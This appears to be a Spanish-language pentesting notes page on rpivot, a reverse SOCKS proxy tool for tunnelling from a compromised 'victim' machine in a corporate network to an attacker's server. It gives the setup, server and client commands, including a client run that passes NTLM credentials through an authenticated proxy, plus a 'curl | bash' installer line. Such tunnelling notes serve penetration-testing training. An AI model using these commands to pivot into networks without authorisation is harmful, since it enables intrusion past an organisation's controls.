Skip to content

rpivot

Rpivot es una herramienta proxy SOCKS inversa escrita en python que permite crear tuneles SOCKS, vincula una maquina de una red corporativa a un servidor externo y expone el puerto local del cliente en el lado del servidor.

Para utilizar esta herramienta es necesario tener python2.7, en mi caso lo voy a desplegar con pyenv:

Terminal window
curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
Terminal window
pyenv install 2.7
pyenv shell 2.7
Terminal window
git clone https://github.com/klsecservices/rpivot.git

2. Iniciar el servidor en la maquina atacante

Section titled “2. Iniciar el servidor en la maquina atacante”
Terminal window
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip <ip-atacante>

Este paso podemos hacerlo de muchas maneras, habrá que elegir la forma que mas nos convenga en cada caso:

transferencia-de-archivos

4. Iniciar el cliente en la maquina víctima

Section titled “4. Iniciar el cliente en la maquina víctima”

Desde la maquina víctima debemos iniciar el cliente para activar el tunel.

python2.7 client.py --server-ip <ip-atacante> --server-port 9999
proxychains4 firefox-esr <ip/dominio:puerto>

Conexion a servidor web HTTP-Proxy y autenticación NTLM

Section titled “Conexion a servidor web HTTP-Proxy y autenticación NTLM”

En algunos casos las organizacion establecen que no se pueda añadir un proxy sin una autenticacion NTLM (Proxy HTTP con autenticación NTLM). En estos casos podemos añadir una autenticacion NTLM para cumplir con la normativa de la organización y lograr un tunel, para ello se ejecutaria el cliente de la siguiente manera:

Terminal window
python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>